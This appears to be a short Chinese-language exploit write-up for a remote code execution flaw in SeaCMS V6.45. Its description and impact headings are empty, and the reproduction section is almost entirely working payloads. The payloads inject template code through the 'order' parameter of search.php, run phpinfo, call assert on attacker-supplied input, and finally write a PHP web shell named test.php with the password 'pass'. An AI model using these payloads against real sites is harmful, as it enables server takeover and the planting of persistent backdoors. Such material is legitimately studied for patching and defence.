海洋CMS seacms V6.45 前台getshell¶

一、漏洞简介¶

二、漏洞影响¶

三、复现过程¶

http://url/search.php?searchtype=5

POST

searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

一句话payload，文件test.php 密码pass:

path:

http://url/search.php

}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')